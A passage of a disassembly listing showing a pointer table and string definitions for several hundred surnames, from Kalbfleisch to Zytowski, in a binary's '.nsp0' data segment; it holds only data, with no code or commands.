		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry_0	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight_0	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda_0	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay		; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick_0	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush_0	; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange_0	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle_0	; "Tuttle"
		dd offset aTwells	; "Twells"
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite_0	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee_0	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
		dd offset aZahedi	; "Zahedi"
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: .nsp0:00430CA0o
		align 10h
aZwiers		db 'Zwiers',0           ; DATA XREF: .nsp0:00430C9Co
		align 4
aZurn		db 'Zurn',0             ; DATA XREF: .nsp0:00430C98o
		align 10h
aZucconi	db 'Zucconi',0          ; DATA XREF: .nsp0:00430C94o
aZoldak		db 'Zoldak',0           ; DATA XREF: .nsp0:00430C90o
		align 10h
aZerbini	db 'Zerbini',0          ; DATA XREF: .nsp0:00430C8Co
aZegans		db 'Zegans',0           ; DATA XREF: .nsp0:00430C88o
		align 10h
aZangwill	db 'Zangwill',0         ; DATA XREF: .nsp0:00430C84o
		align 4
aZahedi		db 'Zahedi',0           ; DATA XREF: .nsp0:00430C80o
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: .nsp0:00430C7Co
aYu		db 'Yu',0               ; DATA XREF: .nsp0:00430C78o
		align 10h
aYoukSee	db 'Youk-See',0         ; DATA XREF: .nsp0:00430C74o
		align 4
aYoo		db 'Yoo',0              ; DATA XREF: .nsp0:00430C70o
aYoffe		db 'Yoffe',0            ; DATA XREF: .nsp0:00430C6Co
		align 4
aYetiv		db 'Yetiv',0            ; DATA XREF: .nsp0:00430C68o
		align 10h
aYesson		db 'Yesson',0           ; DATA XREF: .nsp0:00430C64o
		align 4
aYedidia	db 'Yedidia',0          ; DATA XREF: .nsp0:00430C60o
aYbarra		db 'Ybarra',0           ; DATA XREF: .nsp0:00430C5Co
		align 4
aYates		db 'Yates',0            ; DATA XREF: .nsp0:00430C58o
		align 10h
aYarchuk	db 'Yarchuk',0          ; DATA XREF: .nsp0:00430C54o
aYankee_0	db 'Yankee',0           ; DATA XREF: .nsp0:00430C50o
		align 10h
aYamane		db 'Yamane',0           ; DATA XREF: .nsp0:00430C4Co
		align 4
aYacono		db 'Yacono',0           ; DATA XREF: .nsp0:00430C48o
		align 10h
aVotey		db 'Votey',0            ; DATA XREF: .nsp0:00430C44o
		align 4
aVorhaus	db 'Vorhaus',0          ; DATA XREF: .nsp0:00430C40o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: .nsp0:00430C3Co
		align 10h
aWoods		db 'Woods',0            ; DATA XREF: .nsp0:00430C38o
		align 4
aWooden		db 'Wooden',0           ; DATA XREF: .nsp0:00430C34o
		align 10h
aWoo		db 'Woo',0              ; DATA XREF: .nsp0:00430C30o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: .nsp0:00430C2Co
		align 10h
aWolk		db 'Wolk',0             ; DATA XREF: .nsp0:00430C28o
		align 4
aVoigt		db 'Voigt',0            ; DATA XREF: .nsp0:00430C24o
		align 10h
aViviani	db 'Viviani',0          ; DATA XREF: .nsp0:00430C20o
aVitali		db 'Vitali',0           ; DATA XREF: .nsp0:00430C1Co
		align 10h
aWilson		db 'Wilson',0           ; DATA XREF: .nsp0:00430C18o
		align 4
aWillstatter	db 'Willstatter',0      ; DATA XREF: .nsp0:00430C14o
aVillarreal	db 'Villarreal',0       ; DATA XREF: .nsp0:00430C10o
		align 10h
aWilkinson	db 'Wilkinson',0        ; DATA XREF: .nsp0:00430C0Co
		align 4
aWilkin		db 'Wilkin',0           ; DATA XREF: .nsp0:00430C08o
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: .nsp0:00430C04o
		align 4
aWilhelm	db 'Wilhelm',0          ; DATA XREF: .nsp0:00430C00o
aWilder		db 'Wilder',0           ; DATA XREF: .nsp0:00430BFCo
		align 4
aVignola	db 'Vignola',0          ; DATA XREF: .nsp0:00430BF8o
aViens		db 'Viens',0            ; DATA XREF: .nsp0:00430BF4o
		align 4
aWiener		db 'Wiener',0           ; DATA XREF: .nsp0:00430BF0o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: .nsp0:00430BECo
aViano		db 'Viano',0            ; DATA XREF: .nsp0:00430BE8o
		align 4
aViana		db 'Viana',0            ; DATA XREF: .nsp0:00430BE4o
		align 10h
aWhittaker	db 'Whittaker',0        ; DATA XREF: .nsp0:00430BE0o
		align 4
aWhitla		db 'Whitla',0           ; DATA XREF: .nsp0:00430BDCo
		align 4
aWhite_0	db 'White',0            ; DATA XREF: .nsp0:00430BD8o
		align 4
aWhilton	db 'Whilton',0          ; DATA XREF: .nsp0:00430BD4o
aWhately	db 'Whately',0          ; DATA XREF: .nsp0:00430BD0o
aWetzel		db 'Wetzel',0           ; DATA XREF: .nsp0:00430BCCo
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: .nsp0:00430BC8o
aVerghese	db 'Verghese',0         ; DATA XREF: .nsp0:00430BC4o
		align 4
aVenne		db 'Venne',0            ; DATA XREF: .nsp0:00430BC0o
		align 10h
aWengret	db 'Wengret',0          ; DATA XREF: .nsp0:00430BBCo
aWelsh		db 'Welsh',0            ; DATA XREF: .nsp0:00430BB8o
		align 10h
aWelles		db 'Welles',0           ; DATA XREF: .nsp0:00430BB4o
		align 4
aVelasquez	db 'Velasquez',0        ; DATA XREF: .nsp0:00430BB0o
		align 4
aWeissman	db 'Weissman',0         ; DATA XREF: .nsp0:00430BACo
		align 10h
aWeissbourd	db 'Weissbourd',0       ; DATA XREF: .nsp0:00430BA8o
		align 4
aWeinhaus	db 'Weinhaus',0         ; DATA XREF: .nsp0:00430BA4o
		align 4
aWeingarten	db 'Weingarten',0       ; DATA XREF: .nsp0:00430BA0o
		align 4
aWeighart	db 'Weighart',0         ; DATA XREF: .nsp0:00430B9Co
		align 10h
aWaugh		db 'Waugh',0            ; DATA XREF: .nsp0:00430B98o
		align 4
aVasquez	db 'Vasquez',0          ; DATA XREF: .nsp0:00430B94o
aWasowska	db 'Wasowska',0         ; DATA XREF: .nsp0:00430B90o
		align 4
